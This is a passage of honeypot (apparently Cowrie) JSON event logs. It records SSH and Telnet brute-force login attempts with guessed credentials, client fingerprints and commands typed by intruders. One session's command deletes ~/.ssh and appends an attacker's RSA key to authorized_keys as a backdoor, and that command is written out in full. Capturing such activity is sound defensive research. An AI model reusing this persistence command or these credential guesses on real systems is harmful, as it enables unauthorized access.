cm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.652217Z","src_ip":"186.4.240.226","session":"d123fd99eae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180578","message":"login attempt [admin/180578] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.753764Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.867403Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:23.871888Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyuiop123@","message":"login attempt [root/qwertyuiop123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:24.022683Z","src_ip":"186.4.240.226","session":"d123fd99eae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":51414,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6290eb0cfd1","protocol":"ssh","message":"New connection: 41.86.34.139:51414 (10.17.0.5:22) [session: d6290eb0cfd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:24.071830Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:24.078750Z","src_ip":"41.86.34.139","session":"d6290eb0cfd1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:24.287632Z","src_ip":"41.86.34.139","session":"d6290eb0cfd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"18051970","message":"login attempt [admin/18051970] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:24.856548Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:25.114232Z","src_ip":"186.4.240.226","session":"d123fd99eae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:25.149872Z","src_ip":"41.86.34.139","session":"d6290eb0cfd1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180491","message":"login attempt [admin/180491] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:25.962135Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:26.362453Z","src_ip":"41.86.34.139","session":"d6290eb0cfd1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":51424,"dst_ip":"10.17.0.5","dst_port":22,"session":"38ed8debeea4","protocol":"ssh","message":"New connection: 41.86.34.139:51424 (10.17.0.5:22) [session: 38ed8debeea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:26.566240Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:26.572362Z","src_ip":"41.86.34.139","session":"38ed8debeea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:26.781356Z","src_ip":"41.86.34.139","session":"38ed8debeea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"180489","message":"login attempt [admin/180489] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:27.064662Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.414395809173584,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:27.186681Z","src_ip":"137.184.155.248","session":"834c99a38712","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:27.645083Z","src_ip":"41.86.34.139","session":"38ed8debeea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:27.856666Z","src_ip":"41.86.34.139","session":"1ecfe48addfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:27.861774Z","src_ip":"41.86.34.139","session":"38ed8debeea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:28.167048Z","src_ip":"2.57.121.112","session":"d213fcceebf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.625969409942627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:32.387537Z","src_ip":"147.124.211.111","session":"ac6758a7c648","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.1008985042572,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:35.362550Z","src_ip":"137.184.155.248","session":"e4b64ad27c4a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55480,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f3de5e62a7","protocol":"telnet","message":"New connection: 147.124.211.111:55480 (159.203.135.109:23) [session: 69f3de5e62a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:36.277232Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":55492,"dst_ip":"159.203.135.109","dst_port":23,"session":"1be94bd909c2","protocol":"telnet","message":"New connection: 147.124.211.111:55492 (159.203.135.109:23) [session: 1be94bd909c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:38.404771Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":34947,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e5b41612b56","protocol":"ssh","message":"New connection: 103.86.180.10:34947 (159.203.135.109:22) [session: 7e5b41612b56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:41.466315Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:41.470965Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:41.667495Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.253.251.7","src_port":60676,"dst_ip":"159.203.135.109","dst_port":22,"session":"234c9898bbdb","protocol":"ssh","message":"New connection: 72.253.251.7:60676 (159.203.135.109:22) [session: 234c9898bbdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.026931Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.034080Z","src_ip":"72.253.251.7","session":"234c9898bbdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.151887Z","src_ip":"72.253.251.7","session":"234c9898bbdb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"123admin","message":"login attempt [admin/123admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.480569Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"asd123","message":"login attempt [postgres/asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.658874Z","src_ip":"72.253.251.7","session":"234c9898bbdb","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.919085Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.923119Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:42.927065Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:43.127029Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:43.633341Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:43.636831Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:43.778955Z","src_ip":"72.253.251.7","session":"234c9898bbdb","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:43.838282Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:43.842402Z","src_ip":"103.86.180.10","session":"7e5b41612b56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.86.180.10","src_port":35421,"dst_ip":"159.203.135.109","dst_port":22,"session":"10f9e54d413b","protocol":"ssh","message":"New connection: 103.86.180.10:35421 (159.203.135.109:22) [session: 10f9e54d413b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:44.032955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:44.037564Z","src_ip":"103.86.180.10","session":"10f9e54d413b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:44.234427Z","src_ip":"103.86.180.10","session":"10f9e54d413b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:45.059083Z","src_ip":"103.86.180.10","session":"10f9e54d413b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.260322Z","src_ip":"103.86.180.10","session":"10f9e54d413b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.124.211.111","src_port":52872,"dst_ip":"159.203.135.109","dst_port":23,"session":"56dc24f8d1b0","protocol":"telnet","message":"New connection: 147.124.211.111:52872 (159.203.135.109:23) [session: 56dc24f8d1b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T14:45:46.288392Z"}
